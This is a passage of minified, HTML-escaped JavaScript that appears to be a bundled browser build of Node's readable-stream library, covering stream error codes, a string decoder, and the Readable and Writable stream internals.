o})(r);i.prototype.name=r.name,i.prototype.code=e,SV[e]=i}function AP(e,t){if(Array.isArray(e)){var r=e.length;return e=e.map(function(n){return String(n)}),r&gt;2?&quot;one of &quot;.concat(t,&quot; &quot;).concat(e.slice(0,r-1).join(&quot;, &quot;),&quot;, or &quot;)+e[r-1]:r===2?&quot;one of &quot;.concat(t,&quot; &quot;).concat(e[0],&quot; or &quot;).concat(e[1]):&quot;of &quot;.concat(t,&quot; &quot;).concat(e[0])}else return&quot;of &quot;.concat(t,&quot; &quot;).concat(String(e))}function Oje(e,t,r){return e.substr(0,t.length)===t}function Lje(e,t,r){return(r===void 0||r&gt;e.length)&amp;&amp;(r=e.length),e.substring(r-t.length,r)===t}function Mje(e,t,r){return typeof r!=&quot;number&quot;&amp;&amp;(r=0),r+t.length&gt;e.length?!1:e.indexOf(t,r)!==-1}c0(&quot;ERR_INVALID_OPT_VALUE&quot;,function(e,t){return&#039;The value &quot;&#039;+t+&#039;&quot; is invalid for option &quot;&#039;+e+&#039;&quot;&#039;},TypeError);c0(&quot;ERR_INVALID_ARG_TYPE&quot;,function(e,t,r){var n;typeof t==&quot;string&quot;&amp;&amp;Oje(t,&quot;not &quot;)?(n=&quot;must not be&quot;,t=t.replace(/^not /,&quot;&quot;)):n=&quot;must be&quot;;var i;if(Lje(e,&quot; argument&quot;))i=&quot;The &quot;.concat(e,&quot; &quot;).concat(n,&quot; &quot;).concat(AP(t,&quot;type&quot;));else{var s=Mje(e,&quot;.&quot;)?&quot;property&quot;:&quot;argument&quot;;i=&#039;The &quot;&#039;.concat(e,&#039;&quot; &#039;).concat(s,&quot; &quot;).concat(n,&quot; &quot;).concat(AP(t,&quot;type&quot;))}return i+=&quot;. Received type &quot;.concat(typeof r),i},TypeError);c0(&quot;ERR_STREAM_PUSH_AFTER_EOF&quot;,&quot;stream.push() after EOF&quot;);c0(&quot;ERR_METHOD_NOT_IMPLEMENTED&quot;,function(e){return&quot;The &quot;+e+&quot; method is not implemented&quot;});c0(&quot;ERR_STREAM_PREMATURE_CLOSE&quot;,&quot;Premature close&quot;);c0(&quot;ERR_STREAM_DESTROYED&quot;,function(e){return&quot;Cannot call &quot;+e+&quot; after a stream was destroyed&quot;});c0(&quot;ERR_MULTIPLE_CALLBACK&quot;,&quot;Callback called multiple times&quot;);c0(&quot;ERR_STREAM_CANNOT_PIPE&quot;,&quot;Cannot pipe, not readable&quot;);c0(&quot;ERR_STREAM_WRITE_AFTER_END&quot;,&quot;write after end&quot;);c0(&quot;ERR_STREAM_NULL_VALUES&quot;,&quot;May not write null values to stream&quot;,TypeError);c0(&quot;ERR_UNKNOWN_ENCODING&quot;,function(e){return&quot;Unknown encoding: &quot;+e},TypeError);c0(&quot;ERR_STREAM_UNSHIFT_AFTER_END_EVENT&quot;,&quot;stream.unshift() after end event&quot;);qg.codes=SV;var Uje=qg.codes.ERR_INVALID_OPT_VALUE;function zje(e,t,r){return e.highWaterMark!=null?e.highWaterMark:t?e[r]:null}function $je(e,t,r,n){var i=zje(t,n,r);if(i!=null){if(!(isFinite(i)&amp;&amp;Math.floor(i)===i)||i&lt;0){var s=n?r:&quot;highWaterMark&quot;;throw new Uje(s,i)}return Math.floor(i)}return e.objectMode?16:16*1024}var BV={getHighWaterMark:$je},WN;typeof Object.create==&quot;function&quot;?WN=function(t,r){t.super_=r,t.prototype=Object.create(r.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}})}:WN=function(t,r){t.super_=r;var n=function(){};n.prototype=r.prototype,t.prototype=new n,t.prototype.constructor=t};var Hje=WN,qje=Object.freeze({__proto__:null,default:Hje}),Fy=ex(qje),Gje=kt.isEncoding||function(e){switch(e&amp;&amp;e.toLowerCase()){case&quot;hex&quot;:case&quot;utf8&quot;:case&quot;utf-8&quot;:case&quot;ascii&quot;:case&quot;binary&quot;:case&quot;base64&quot;:case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:case&quot;raw&quot;:return!0;default:return!1}};function Vje(e){if(e&amp;&amp;!Gje(e))throw new Error(&quot;Unknown encoding: &quot;+e)}function bE(e){switch(this.encoding=(e||&quot;utf8&quot;).toLowerCase().replace(/[-_]/,&quot;&quot;),Vje(e),this.encoding){case&quot;utf8&quot;:this.surrogateSize=3;break;case&quot;ucs2&quot;:case&quot;utf16le&quot;:this.surrogateSize=2,this.detectIncompleteChar=Kje;break;case&quot;base64&quot;:this.surrogateSize=3,this.detectIncompleteChar=Yje;break;default:this.write=Wje;return}this.charBuffer=new kt(6),this.charReceived=0,this.charLength=0}bE.prototype.write=function(e){for(var t=&quot;&quot;;this.charLength;){var r=e.length&gt;=this.charLength-this.charReceived?this.charLength-this.charReceived:e.length;if(e.copy(this.charBuffer,this.charReceived,0,r),this.charReceived+=r,this.charReceived&lt;this.charLength)return&quot;&quot;;e=e.slice(r,e.length),t=this.charBuffer.slice(0,this.charLength).toString(this.encoding);var i=t.charCodeAt(t.length-1);if(i&gt;=55296&amp;&amp;i&lt;=56319){this.charLength+=this.surrogateSize,t=&quot;&quot;;continue}if(this.charReceived=this.charLength=0,e.length===0)return t;break}this.detectIncompleteChar(e);var n=e.length;this.charLength&amp;&amp;(e.copy(this.charBuffer,0,e.length-this.charReceived,n),n-=this.charReceived),t+=e.toString(this.encoding,0,n);var n=t.length-1,i=t.charCodeAt(n);if(i&gt;=55296&amp;&amp;i&lt;=56319){var s=this.surrogateSize;return this.charLength+=s,this.charReceived+=s,this.charBuffer.copy(this.charBuffer,s,0,s),e.copy(this.charBuffer,0,0,s),t.substring(0,n)}return t};bE.prototype.detectIncompleteChar=function(e){for(var t=e.length&gt;=3?3:e.length;t&gt;0;t--){var r=e[e.length-t];if(t==1&amp;&amp;r&gt;&gt;5==6){this.charLength=2;break}if(t&lt;=2&amp;&amp;r&gt;&gt;4==14){this.charLength=3;break}if(t&lt;=3&amp;&amp;r&gt;&gt;3==30){this.charLength=4;break}}this.charReceived=t};bE.prototype.end=function(e){var t=&quot;&quot;;if(e&amp;&amp;e.length&amp;&amp;(t=this.write(e)),this.charReceived){var r=this.charReceived,n=this.charBuffer,i=this.encoding;t+=n.slice(0,r).toString(i)}return t};function Wje(e){return e.toString(this.encoding)}function Kje(e){this.charReceived=e.length%2,this.charLength=this.charReceived?2:0}function Yje(e){this.charReceived=e.length%3,this.charLength=this.charReceived?3:0}var Zje=Object.freeze({__proto__:null,StringDecoder:bE}),kV=ex(Zje),xP=qg.codes.ERR_STREAM_PREMATURE_CLOSE;function Jje(e){var t=!1;return function(){if(!t){t=!0;for(var r=arguments.length,n=new Array(r),i=0;i&lt;r;i++)n[i]=arguments[i];e.apply(this,n)}}}function Xje(){}function e3e(e){return e.setHeader&amp;&amp;typeof e.abort==&quot;function&quot;}function _V(e,t,r){if(typeof t==&quot;function&quot;)return _V(e,null,t);t||(t={}),r=Jje(r||Xje);var n=t.readable||t.readable!==!1&amp;&amp;e.readable,i=t.writable||t.writable!==!1&amp;&amp;e.writable,s=function(){e.writable||l()},o=e._writableState&amp;&amp;e._writableState.finished,l=function(){i=!1,o=!0,n||r.call(e)},c=e._readableState&amp;&amp;e._readableState.endEmitted,d=function(){n=!1,c=!0,i||r.call(e)},u=function(y){r.call(e,y)},h=function(){var y;if(n&amp;&amp;!c)return(!e._readableState||!e._readableState.ended)&amp;&amp;(y=new xP),r.call(e,y);if(i&amp;&amp;!o)return(!e._writableState||!e._writableState.ended)&amp;&amp;(y=new xP),r.call(e,y)},p=function(){e.req.on(&quot;finish&quot;,l)};return e3e(e)?(e.on(&quot;complete&quot;,l),e.on(&quot;abort&quot;,h),e.req?p():e.on(&quot;request&quot;,p)):i&amp;&amp;!e._writableState&amp;&amp;(e.on(&quot;end&quot;,s),e.on(&quot;close&quot;,s)),e.on(&quot;end&quot;,d),e.on(&quot;finish&quot;,l),t.error!==!1&amp;&amp;e.on(&quot;error&quot;,u),e.on(&quot;close&quot;,h),function(){e.removeListener(&quot;complete&quot;,l),e.removeListener(&quot;abort&quot;,h),e.removeListener(&quot;request&quot;,p),e.req&amp;&amp;e.req.removeListener(&quot;finish&quot;,l),e.removeListener(&quot;end&quot;,s),e.removeListener(&quot;close&quot;,s),e.removeListener(&quot;finish&quot;,l),e.removeListener(&quot;end&quot;,d),e.removeListener(&quot;error&quot;,u),e.removeListener(&quot;close&quot;,h)}}var qB=_V,Mj,vP;function t3e(){if(vP)return Mj;vP=1;var e;function t(j,E,S){return E in j?Object.defineProperty(j,E,{value:S,enumerable:!0,configurable:!0,writable:!0}):j[E]=S,j}var r=qB,n=Symbol(&quot;lastResolve&quot;),i=Symbol(&quot;lastReject&quot;),s=Symbol(&quot;error&quot;),o=Symbol(&quot;ended&quot;),l=Symbol(&quot;lastPromise&quot;),c=Symbol(&quot;handlePromise&quot;),d=Symbol(&quot;stream&quot;);function u(j,E){return{value:j,done:E}}function h(j){var E=j[n];if(E!==null){var S=j[d].read();S!==null&amp;&amp;(j[l]=null,j[n]=null,j[i]=null,E(u(S,!1)))}}function p(j){Wn.nextTick(h,j)}function A(j,E){return function(S,_){j.then(function(){if(E[o]){S(u(void 0,!0));return}E[c](S,_)},_)}}var y=Object.getPrototypeOf(function(){}),v=Object.setPrototypeOf((e={get stream(){return this[d]},next:function(){var E=this,S=this[s];if(S!==null)return Promise.reject(S);if(this[o])return Promise.resolve(u(void 0,!0));if(this[d].destroyed)return new Promise(function(R,T){Wn.nextTick(function(){E[s]?T(E[s]):R(u(void 0,!0))})});var _=this[l],C;if(_)C=new Promise(A(_,this));else{var Q=this[d].read();if(Q!==null)return Promise.resolve(u(Q,!1));C=new Promise(this[c])}return this[l]=C,C}},t(e,Symbol.asyncIterator,function(){return this}),t(e,&quot;return&quot;,function(){var E=this;return new Promise(function(S,_){E[d].destroy(null,function(C){if(C){_(C);return}S(u(void 0,!0))})})}),e),y),w=function(E){var S,_=Object.create(v,(S={},t(S,d,{value:E,writable:!0}),t(S,n,{value:null,writable:!0}),t(S,i,{value:null,writable:!0}),t(S,s,{value:null,writable:!0}),t(S,o,{value:E._readableState.endEmitted,writable:!0}),t(S,c,{value:function(Q,R){var T=_[d].read();T?(_[l]=null,_[n]=null,_[i]=null,Q(u(T,!1))):(_[n]=Q,_[i]=R)},writable:!0}),S));return _[l]=null,r(E,function(C){if(C&amp;&amp;C.code!==&quot;ERR_STREAM_PREMATURE_CLOSE&quot;){var Q=_[i];Q!==null&amp;&amp;(_[l]=null,_[n]=null,_[i]=null,Q(C)),_[s]=C;return}var R=_[n];R!==null&amp;&amp;(_[l]=null,_[n]=null,_[i]=null,R(u(void 0,!0))),_[o]=!0}),E.on(&quot;readable&quot;,p.bind(null,_)),_};return Mj=w,Mj}var Uj,yP;function r3e(){return yP||(yP=1,Uj=function(){throw new Error(&quot;Readable.from is not available in the browser&quot;)}),Uj}const GB=tx;GB.Readable=ji;ji.ReadableState=TV;AV.EventEmitter;var DV=function(t,r){return t.listeners(r).length},Oy=xV,wE=_v.Buffer,n3e=Ow.Uint8Array||function(){};function i3e(e){return wE.from(e)}function a3e(e){return wE.isBuffer(e)||e instanceof n3e}var zj=HB,Vn;zj&amp;&amp;zj.debuglog?Vn=zj.debuglog(&quot;stream&quot;):Vn=function(){};var s3e=Tje(),VB=NV,o3e=BV,l3e=o3e.getHighWaterMark,EE=qg.codes,c3e=EE.ERR_INVALID_ARG_TYPE,u3e=EE.ERR_STREAM_PUSH_AFTER_EOF,d3e=EE.ERR_METHOD_NOT_IMPLEMENTED,f3e=EE.ERR_STREAM_UNSHIFT_AFTER_END_EVENT,t1,$j,Hj;Fy(ji,Oy);var ev=VB.errorOrDestroy,qj=[&quot;error&quot;,&quot;close&quot;,&quot;destroy&quot;,&quot;pause&quot;,&quot;resume&quot;];function h3e(e,t,r){if(typeof e.prependListener==&quot;function&quot;)return e.prependListener(t,r);!e._events||!e._events[t]?e.on(t,r):Array.isArray(e._events[t])?e._events[t].unshift(r):e._events[t]=[r,e._events[t]]}function TV(e,t,r){e=e||{},typeof r!=&quot;boolean&quot;&amp;&amp;(r=t instanceof GB.Duplex),this.objectMode=!!e.objectMode,r&amp;&amp;(this.objectMode=this.objectMode||!!e.readableObjectMode),this.highWaterMark=l3e(this,e,&quot;readableHighWaterMark&quot;,r),this.buffer=new s3e,this.length=0,this.pipes=null,this.pipesCount=0,this.flowing=null,this.ended=!1,this.endEmitted=!1,this.reading=!1,this.sync=!0,this.needReadable=!1,this.emittedReadable=!1,this.readableListening=!1,this.resumeScheduled=!1,this.paused=!0,this.emitClose=e.emitClose!==!1,this.autoDestroy=!!e.autoDestroy,this.destroyed=!1,this.defaultEncoding=e.defaultEncoding||&quot;utf8&quot;,this.awaitDrain=0,this.readingMore=!1,this.decoder=null,this.encoding=null,e.encoding&amp;&amp;(t1||(t1=kV.StringDecoder),this.decoder=new t1(e.encoding),this.encoding=e.encoding)}function ji(e){if(!(this instanceof ji))return new ji(e);var t=this instanceof GB.Duplex;this._readableState=new TV(e,this,t),this.readable=!0,e&amp;&amp;(typeof e.read==&quot;function&quot;&amp;&amp;(this._read=e.read),typeof e.destroy==&quot;function&quot;&amp;&amp;(this._destroy=e.destroy)),Oy.call(this)}Object.defineProperty(ji.prototype,&quot;destroyed&quot;,{enumerable:!1,get:function(){return this._readableState===void 0?!1:this._readableState.destroyed},set:function(t){this._readableState&amp;&amp;(this._readableState.destroyed=t)}});ji.prototype.destroy=VB.destroy;ji.prototype._undestroy=VB.undestroy;ji.prototype._destroy=function(e,t){t(e)};ji.prototype.push=function(e,t){var r=this._readableState,n;return r.objectMode?n=!0:typeof e==&quot;string&quot;&amp;&amp;(t=t||r.defaultEncoding,t!==r.encoding&amp;&amp;(e=wE.from(e,t),t=&quot;&quot;),n=!0),RV(this,e,t,!1,n)};ji.prototype.unshift=function(e){return RV(this,e,null,!0,!1)};function RV(e,t,r,n,i){Vn(&quot;readableAddChunk&quot;,t);var s=e._readableState;if(t===null)s.reading=!1,g3e(e,s);else{var o;if(i||(o=m3e(s,t)),o)ev(e,o);else if(s.objectMode||t&amp;&amp;t.length&gt;0)if(typeof t!=&quot;string&quot;&amp;&amp;!s.objectMode&amp;&amp;Object.getPrototypeOf(t)!==wE.prototype&amp;&amp;(t=i3e(t)),n)s.endEmitted?ev(e,new f3e):Gj(e,s,t,!0);else if(s.ended)ev(e,new u3e);else{if(s.destroyed)return!1;s.reading=!1,s.decoder&amp;&amp;!r?(t=s.decoder.write(t),s.objectMode||t.length!==0?Gj(e,s,t,!1):KN(e,s)):Gj(e,s,t,!1)}else n||(s.reading=!1,KN(e,s))}return!s.ended&amp;&amp;(s.length&lt;s.highWaterMark||s.length===0)}function Gj(e,t,r,n){t.flowing&amp;&amp;t.length===0&amp;&amp;!t.sync?(t.awaitDrain=0,e.emit(&quot;data&quot;,r)):(t.length+=t.objectMode?1:r.length,n?t.buffer.unshift(r):t.buffer.push(r),t.needReadable&amp;&amp;CE(e)),KN(e,t)}function m3e(e,t){var r;return!a3e(t)&amp;&amp;typeof t!=&quot;string&quot;&amp;&amp;t!==void 0&amp;&amp;!e.objectMode&amp;&amp;(r=new c3e(&quot;chunk&quot;,[&quot;string&quot;,&quot;Buffer&quot;,&quot;Uint8Array&quot;],t)),r}ji.prototype.isPaused=function(){return this._readableState.flowing===!1};ji.prototype.setEncoding=function(e){t1||(t1=kV.StringDecoder);var t=new t1(e);this._readableState.decoder=t,this._readableState.encoding=this._readableState.decoder.encoding;for(var r=this._readableState.buffer.head,n=&quot;&quot;;r!==null;)n+=t.write(r.data),r=r.next;return this._readableState.buffer.clear(),n!==&quot;&quot;&amp;&amp;this._readableState.buffer.push(n),this._readableState.length=n.length,this};var bP=1073741824;function p3e(e){return e&gt;=bP?e=bP:(e--,e|=e&gt;&gt;&gt;1,e|=e&gt;&gt;&gt;2,e|=e&gt;&gt;&gt;4,e|=e&gt;&gt;&gt;8,e|=e&gt;&gt;&gt;16,e++),e}function wP(e,t){return e&lt;=0||t.length===0&amp;&amp;t.ended?0:t.objectMode?1:e!==e?t.flowing&amp;&amp;t.length?t.buffer.head.data.length:t.length:(e&gt;t.highWaterMark&amp;&amp;(t.highWaterMark=p3e(e)),e&lt;=t.length?e:t.ended?t.length:(t.needReadable=!0,0))}ji.prototype.read=function(e){Vn(&quot;read&quot;,e),e=parseInt(e,10);var t=this._readableState,r=e;if(e!==0&amp;&amp;(t.emittedReadable=!1),e===0&amp;&amp;t.needReadable&amp;&amp;((t.highWaterMark!==0?t.length&gt;=t.highWaterMark:t.length&gt;0)||t.ended))return Vn(&quot;read: emitReadable&quot;,t.length,t.ended),t.length===0&amp;&amp;t.ended?Vj(this):CE(this),null;if(e=wP(e,t),e===0&amp;&amp;t.ended)return t.length===0&amp;&amp;Vj(this),null;var n=t.needReadable;Vn(&quot;need readable&quot;,n),(t.length===0||t.length-e&lt;t.highWaterMark)&amp;&amp;(n=!0,Vn(&quot;length less than watermark&quot;,n)),t.ended||t.reading?(n=!1,Vn(&quot;reading or ended&quot;,n)):n&amp;&amp;(Vn(&quot;do read&quot;),t.reading=!0,t.sync=!0,t.length===0&amp;&amp;(t.needReadable=!0),this._read(t.highWaterMark),t.sync=!1,t.reading||(e=wP(r,t)));var i;return e&gt;0?i=FV(e,t):i=null,i===null?(t.needReadable=t.length&lt;=t.highWaterMark,e=0):(t.length-=e,t.awaitDrain=0),t.length===0&amp;&amp;(t.ended||(t.needReadable=!0),r!==e&amp;&amp;t.ended&amp;&amp;Vj(this)),i!==null&amp;&amp;this.emit(&quot;data&quot;,i),i};function g3e(e,t){if(Vn(&quot;onEofChunk&quot;),!t.ended){if(t.decoder){var r=t.decoder.end();r&amp;&amp;r.length&amp;&amp;(t.buffer.push(r),t.length+=t.objectMode?1:r.length)}t.ended=!0,t.sync?CE(e):(t.needReadable=!1,t.emittedReadable||(t.emittedReadable=!0,PV(e)))}}function CE(e){var t=e._readableState;Vn(&quot;emitReadable&quot;,t.needReadable,t.emittedReadable),t.needReadable=!1,t.emittedReadable||(Vn(&quot;emitReadable&quot;,t.flowing),t.emittedReadable=!0,Wn.nextTick(PV,e))}function PV(e){var t=e._readableState;Vn(&quot;emitReadable_&quot;,t.destroyed,t.length,t.ended),!t.destroyed&amp;&amp;(t.length||t.ended)&amp;&amp;(e.emit(&quot;readable&quot;),t.emittedReadable=!1),t.needReadable=!t.flowing&amp;&amp;!t.ended&amp;&amp;t.length&lt;=t.highWaterMark,WB(e)}function KN(e,t){t.readingMore||(t.readingMore=!0,Wn.nextTick(A3e,e,t))}function A3e(e,t){for(;!t.reading&amp;&amp;!t.ended&amp;&amp;(t.length&lt;t.highWaterMark||t.flowing&amp;&amp;t.length===0);){var r=t.length;if(Vn(&quot;maybeReadMore read 0&quot;),e.read(0),r===t.length)break}t.readingMore=!1}ji.prototype._read=function(e){ev(this,new d3e(&quot;_read()&quot;))};ji.prototype.pipe=function(e,t){var r=this,n=this._readableState;switch(n.pipesCount){case 0:n.pipes=e;break;case 1:n.pipes=[n.pipes,e];break;default:n.pipes.push(e);break}n.pipesCount+=1,Vn(&quot;pipe count=%d opts=%j&quot;,n.pipesCount,t);var i=(!t||t.end!==!1)&amp;&amp;e!==Wn.stdout&amp;&amp;e!==Wn.stderr,s=i?l:v;n.endEmitted?Wn.nextTick(s):r.once(&quot;end&quot;,s),e.on(&quot;unpipe&quot;,o);function o(w,j){Vn(&quot;onunpipe&quot;),w===r&amp;&amp;j&amp;&amp;j.hasUnpiped===!1&amp;&amp;(j.hasUnpiped=!0,u())}function l(){Vn(&quot;onend&quot;),e.end()}var c=x3e(r);e.on(&quot;drain&quot;,c);var d=!1;function u(){Vn(&quot;cleanup&quot;),e.removeListener(&quot;close&quot;,A),e.removeListener(&quot;finish&quot;,y),e.removeListener(&quot;drain&quot;,c),e.removeListener(&quot;error&quot;,p),e.removeListener(&quot;unpipe&quot;,o),r.removeListener(&quot;end&quot;,l),r.removeListener(&quot;end&quot;,v),r.removeListener(&quot;data&quot;,h),d=!0,n.awaitDrain&amp;&amp;(!e._writableState||e._writableState.needDrain)&amp;&amp;c()}r.on(&quot;data&quot;,h);function h(w){Vn(&quot;ondata&quot;);var j=e.write(w);Vn(&quot;dest.write&quot;,j),j===!1&amp;&amp;((n.pipesCount===1&amp;&amp;n.pipes===e||n.pipesCount&gt;1&amp;&amp;OV(n.pipes,e)!==-1)&amp;&amp;!d&amp;&amp;(Vn(&quot;false write response, pause&quot;,n.awaitDrain),n.awaitDrain++),r.pause())}function p(w){Vn(&quot;onerror&quot;,w),v(),e.removeListener(&quot;error&quot;,p),DV(e,&quot;error&quot;)===0&amp;&amp;ev(e,w)}h3e(e,&quot;error&quot;,p);function A(){e.removeListener(&quot;finish&quot;,y),v()}e.once(&quot;close&quot;,A);function y(){Vn(&quot;onfinish&quot;),e.removeListener(&quot;close&quot;,A),v()}e.once(&quot;finish&quot;,y);function v(){Vn(&quot;unpipe&quot;),r.unpipe(e)}return e.emit(&quot;pipe&quot;,r),n.flowing||(Vn(&quot;pipe resume&quot;),r.resume()),e};function x3e(e){return function(){var r=e._readableState;Vn(&quot;pipeOnDrain&quot;,r.awaitDrain),r.awaitDrain&amp;&amp;r.awaitDrain--,r.awaitDrain===0&amp;&amp;DV(e,&quot;data&quot;)&amp;&amp;(r.flowing=!0,WB(e))}}ji.prototype.unpipe=function(e){var t=this._readableState,r={hasUnpiped:!1};if(t.pipesCount===0)return this;if(t.pipesCount===1)return e&amp;&amp;e!==t.pipes?this:(e||(e=t.pipes),t.pipes=null,t.pipesCount=0,t.flowing=!1,e&amp;&amp;e.emit(&quot;unpipe&quot;,this,r),this);if(!e){var n=t.pipes,i=t.pipesCount;t.pipes=null,t.pipesCount=0,t.flowing=!1;for(var s=0;s&lt;i;s++)n[s].emit(&quot;unpipe&quot;,this,{hasUnpiped:!1});return this}var o=OV(t.pipes,e);return o===-1?this:(t.pipes.splice(o,1),t.pipesCount-=1,t.pipesCount===1&amp;&amp;(t.pipes=t.pipes[0]),e.emit(&quot;unpipe&quot;,this,r),this)};ji.prototype.on=function(e,t){var r=Oy.prototype.on.call(this,e,t),n=this._readableState;return e===&quot;data&quot;?(n.readableListening=this.listenerCount(&quot;readable&quot;)&gt;0,n.flowing!==!1&amp;&amp;this.resume()):e===&quot;readable&quot;&amp;&amp;!n.endEmitted&amp;&amp;!n.readableListening&amp;&amp;(n.readableListening=n.needReadable=!0,n.flowing=!1,n.emittedReadable=!1,Vn(&quot;on readable&quot;,n.length,n.reading),n.length?CE(this):n.reading||Wn.nextTick(v3e,this)),r};ji.prototype.addListener=ji.prototype.on;ji.prototype.removeListener=function(e,t){var r=Oy.prototype.removeListener.call(this,e,t);return e===&quot;readable&quot;&amp;&amp;Wn.nextTick(QV,this),r};ji.prototype.removeAllListeners=function(e){var t=Oy.prototype.removeAllListeners.apply(this,arguments);return(e===&quot;readable&quot;||e===void 0)&amp;&amp;Wn.nextTick(QV,this),t};function QV(e){var t=e._readableState;t.readableListening=e.listenerCount(&quot;readable&quot;)&gt;0,t.resumeScheduled&amp;&amp;!t.paused?t.flowing=!0:e.listenerCount(&quot;data&quot;)&gt;0&amp;&amp;e.resume()}function v3e(e){Vn(&quot;readable nexttick read 0&quot;),e.read(0)}ji.prototype.resume=function(){var e=this._readableState;return e.flowing||(Vn(&quot;resume&quot;),e.flowing=!e.readableListening,y3e(this,e)),e.paused=!1,this};function y3e(e,t){t.resumeScheduled||(t.resumeScheduled=!0,Wn.nextTick(b3e,e,t))}function b3e(e,t){Vn(&quot;resume&quot;,t.reading),t.reading||e.read(0),t.resumeScheduled=!1,e.emit(&quot;resume&quot;),WB(e),t.flowing&amp;&amp;!t.reading&amp;&amp;e.read(0)}ji.prototype.pause=function(){return Vn(&quot;call pause flowing=%j&quot;,this._readableState.flowing),this._readableState.flowing!==!1&amp;&amp;(Vn(&quot;pause&quot;),this._readableState.flowing=!1,this.emit(&quot;pause&quot;)),this._readableState.paused=!0,this};function WB(e){var t=e._readableState;for(Vn(&quot;flow&quot;,t.flowing);t.flowing&amp;&amp;e.read()!==null;);}ji.prototype.wrap=function(e){var t=this,r=this._readableState,n=!1;e.on(&quot;end&quot;,function(){if(Vn(&quot;wrapped end&quot;),r.decoder&amp;&amp;!r.ended){var o=r.decoder.end();o&amp;&amp;o.length&amp;&amp;t.push(o)}t.push(null)}),e.on(&quot;data&quot;,function(o){if(Vn(&quot;wrapped data&quot;),r.decoder&amp;&amp;(o=r.decoder.write(o)),!(r.objectMode&amp;&amp;o==null)&amp;&amp;!(!r.objectMode&amp;&amp;(!o||!o.length))){var l=t.push(o);l||(n=!0,e.pause())}});for(var i in e)this[i]===void 0&amp;&amp;typeof e[i]==&quot;function&quot;&amp;&amp;(this[i]=(function(l){return function(){return e[l].apply(e,arguments)}})(i));for(var s=0;s&lt;qj.length;s++)e.on(qj[s],this.emit.bind(this,qj[s]));return this._read=function(o){Vn(&quot;wrapped _read&quot;,o),n&amp;&amp;(n=!1,e.resume())},this};typeof Symbol==&quot;function&quot;&amp;&amp;(ji.prototype[Symbol.asyncIterator]=function(){return $j===void 0&amp;&amp;($j=t3e()),$j(this)});Object.defineProperty(ji.prototype,&quot;readableHighWaterMark&quot;,{enumerable:!1,get:function(){return this._readableState.highWaterMark}});Object.defineProperty(ji.prototype,&quot;readableBuffer&quot;,{enumerable:!1,get:function(){return this._readableState&amp;&amp;this._readableState.buffer}});Object.defineProperty(ji.prototype,&quot;readableFlowing&quot;,{enumerable:!1,get:function(){return this._readableState.flowing},set:function(t){this._readableState&amp;&amp;(this._readableState.flowing=t)}});ji._fromList=FV;Object.defineProperty(ji.prototype,&quot;readableLength&quot;,{enumerable:!1,get:function(){return this._readableState.length}});function FV(e,t){if(t.length===0)return null;var r;return t.objectMode?r=t.buffer.shift():!e||e&gt;=t.length?(t.decoder?r=t.buffer.join(&quot;&quot;):t.buffer.length===1?r=t.buffer.first():r=t.buffer.concat(t.length),t.buffer.clear()):r=t.buffer.consume(e,t.decoder),r}function Vj(e){var t=e._readableState;Vn(&quot;endReadable&quot;,t.endEmitted),t.endEmitted||(t.ended=!0,Wn.nextTick(w3e,t,e))}function w3e(e,t){if(Vn(&quot;endReadableNT&quot;,e.endEmitted,e.length),!e.endEmitted&amp;&amp;e.length===0&amp;&amp;(e.endEmitted=!0,t.readable=!1,t.emit(&quot;end&quot;),e.autoDestroy)){var r=t._writableState;(!r||r.autoDestroy&amp;&amp;r.finished)&amp;&amp;t.destroy()}}typeof Symbol==&quot;function&quot;&amp;&amp;(ji.from=function(e,t){return Hj===void 0&amp;&amp;(Hj=r3e()),Hj(ji,e,t)});function OV(e,t){for(var r=0,n=e.length;r&lt;n;r++)if(e[r]===t)return r;return-1}var E3e=C3e;function C3e(e,t){if(Wj(&quot;noDeprecation&quot;))return e;var r=!1;function n(){if(!r){if(Wj(&quot;throwDeprecation&quot;))throw new Error(t);Wj(&quot;traceDeprecation&quot;)?console.trace(t):console.warn(t),r=!0}return e.apply(this,arguments)}return n}function Wj(e){try{if(!Ow.localStorage)return!1}catch{return!1}var t=Ow.localStorage[e];return t==null?!1:String(t).toLowerCase()===&quot;true&quot;}const KB=tx;KB.Writable=Ss;function LV(e){var t=this;this.next=null,this.entry=null,this.finish=function(){Z3e(t,e)}}Ss.WritableState=Ly;var I3e={deprecate:E3e},MV=xV,IE=_v.Buffer,j3e=Ow.Uint8Array||function(){};function N3e(e){return IE.from(e)}function S3e(e){return IE.isBuffer(e)||e instanceof j3e}var YB=NV,B3e=BV,k3e=B3e.getHighWaterMark,Ym=qg.codes,_3e=Ym.ERR_INVALID_ARG_TYPE,D3e=Ym.ERR_METHOD_NOT_IMPLEMENTED,T3e=Ym.ERR_MULTIPLE_CALLBACK,R3e=Ym.ERR_STREAM_CANNOT_PIPE,P3e=Ym.ERR_STREAM_DESTROYED,Q3e=Ym.ERR_STREAM_NULL_VALUES,F3e=Ym.ERR_STREAM_WRITE_AFTER_END,O3e=Ym.ERR_UNKNOWN_ENCODING,w1=YB.errorOrDestroy;Fy(Ss,MV);function L3e(){}function Ly(e,t,r){e=e||{},typeof r!=&quot;boolean&quot;&amp;&amp;(r=t instanceof KB.Duplex),this.objectMode=!!e.objectMode,r&amp;&amp;(this.objectMode=this.objectMode||!!e.writableObjectMode),this.highWaterMark=k3e(this,e,&quot;writableHighWaterMark&quot;,r),this.finalCalled=!1,this.needDrain=!1,this.ending=!1,this.ended=!1,this.finished=!1,this.destroyed=!1;var n=e.decodeStrings===!1;this.decodeStrings=!n,this.defaultEncoding=e.defaultEncoding||&quot;utf8&quot;,this.length=0,this.writing=!1,this.corked=0,this.sync=!0,this.bufferProcessing=!1,this.onwrite=function(i){G3e(t,i)},this.writecb=null,this.writelen=0,this.bufferedRequest=null,this.lastBufferedRequest=null,this.pendingcb=0,this.prefinished=!1,this.errorEmitted=!1,this.emitClose=e.emitClose!==!1,this.autoDestroy=!!e.autoDestroy,this.bufferedRequestCount=0,this.corkedRequestsFree=new LV(this)}Ly.prototype.getBuffer=function(){for(var t=this.bufferedRequest,r=[];t;)r.push(t),t=t.next;return r};(function(){try{Object.defineProperty(Ly.prototype,&quot;buffer&quot;,{get:I3e.deprecate(function(){return this.getBuffer()},&quot;_writableState.buffer is deprecated. Use _writableState.getBuffer instead.&quot;,&quot;DEP0003&quot;)})}catch{}})();var G5;typeof Symbol==&quot;function&quot;&amp;&amp;Symbol.hasInstance&amp;&amp;typeof Function.prototype[Symbol.hasInstance]==&quot;function&quot;?(G5=Function.prototype[Symbol.hasInstance],Object.defineProperty(Ss,Symbol.hasInstance,{value:function(t){return G5.call(this,t)?!0:this!==Ss?!1:t&amp;&amp;t._writableState instanceof 